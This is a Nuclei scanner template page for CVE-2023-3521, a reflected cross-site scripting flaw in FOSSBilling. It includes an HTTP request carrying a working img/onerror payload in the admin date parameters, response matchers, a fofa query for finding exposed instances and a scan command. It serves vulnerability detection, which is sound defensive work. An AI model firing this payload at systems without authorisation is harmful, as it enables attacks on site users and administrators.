FOSSBilling < 0.5.3 - Cross-Site Scripting

ID: CVE-2023-3521

Severity: medium

Author: ctflearner

Tags: cve2023,cve,fossbilling,xss

Description

Cross-site Scripting (XSS) - Reflected in GitHub repository fossbilling/fossbilling prior to 0.5.4.

YAML Source

id: CVE-2023-3521

info:
  name: FOSSBilling < 0.5.3 - Cross-Site Scripting
  author: ctflearner
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository fossbilling/fossbilling prior to 0.5.4.
  reference:
    - https://huntr.com/bounties/76a3441d-7f75-4a8d-a7a0-95a7f5456eb0
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3521
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3521
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="FOSSBilling"
    product: fossbilling
  tags: cve2023,cve,fossbilling,xss

http:
  - raw:
      - |
        GET /admin?_url=%2Fadmin&date_to='"><img+src=x+onerror=alert(3)>&date_from='"><img+src=x+onerror=alert(3)> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(3)>"
          - "FOSSBilling"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e876605613ef2757489f69d4818a096be50b66a986f41d89fd2d93055757deb8022100a7e3b9361ba9daede3f46837a025b878cd4374bce59e36470d379cb227100f1e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-3521.yaml"

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